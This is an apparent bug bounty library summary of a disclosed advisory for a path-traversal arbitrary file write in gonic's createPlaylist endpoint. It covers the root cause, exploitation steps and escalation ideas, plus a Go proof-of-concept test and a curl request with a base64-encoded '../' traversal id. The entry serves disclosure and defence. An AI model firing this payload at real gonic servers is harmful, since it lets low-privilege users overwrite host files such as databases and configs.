# gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

Unreachable guard clause plus missing path containment in gonic's createPlaylist lets any authenticated user write M3U content to arbitrary host paths.

- Payout: Research
- Severity: high
- Program: gonic
- Found by: therawdev
- Disclosed: 2026-06-26
- CVE: CVE-2026-49340
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4gxv-p5g5-j7w7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4gxv-p5g5-j7w7
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:go tech:rest technique:source-review vuln:access-control vuln:business-logic vuln:path-traversal

**Target:** Subsonic REST endpoint createPlaylist.view / playlist store
**Root cause:** The ownership guard uses `err != nil && pl != nil`, a condition Read never returns, so playlist stays zero-valued and the UserID check always passes; Store.Write joins attacker-controlled relPath with basePath without containment, allowing `..` traversal.
**Steps:**
1. Base64url-encode a traversal path like `../../../var/log/anything.log` and prefix with `pl-` to form the `id` param.
2. Send `GET /rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=<ID>&name=injected` as a non-admin authenticated user.
3. Observe `status: ok` and the file written at the traversed absolute path with M3U content and intermediate dirs created 0o777.
**How found:** Code review of the ownership guard revealed Read never returns (non-nil, non-nil-err), making the branch unreachable; then noted filepath.Join does not block `..` and Store.Write lacks containment.
**Exploitation:** Any authenticated non-admin Subsonic user supplies a base64url-encoded relative path with `..` segments as the playlist id; the zero-valued playlist bypasses the ownership check and Store.Write joins it onto basePath, truncating/creating the target file with attacker-controlled M3U name/comment attributes.
**Escalation:** Overwriting gonic's SQLite DB or config files yields integrity/availability damage; world-writable MkdirAll(0o777) creates permissive intermediate directories.
**Insight:** When a guard depends on a two-value return, verify the callee actually has a (non-nil, err) path — Go idiom `err != nil && pl != nil` is a red flag; also filepath.Join never sanitizes `..`, so containment must be checked explicitly with filepath.Rel.

## Proof of concept (copied exactly from the original report)

**Go test proving arbitrary file write via traversal**

```
func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
	f := newFixture(t)

	// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
	// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
	traversalRel := filepath.Join("..", "injected.m3u")
	traversalID := playlistIDEncode(traversalRel).String()

	// f.alt is the NON-ADMIN user (ID=2).
	resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
		"id":   {traversalID},
		"name": {"injected-by-low-priv-user"},
	})
	t.Logf("resp: %+v", string(resp))

	tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
	target := filepath.Join(tmpDir, "injected.m3u")
	stat, err := os.Stat(target)
	require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
	require.False(t, stat.IsDir())

	contents, err := os.ReadFile(target)
	require.NoError(t, err)
	t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}
```

**curl createPlaylist request with base64 traversal path**

```
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
  | python3 -m json.tool
```

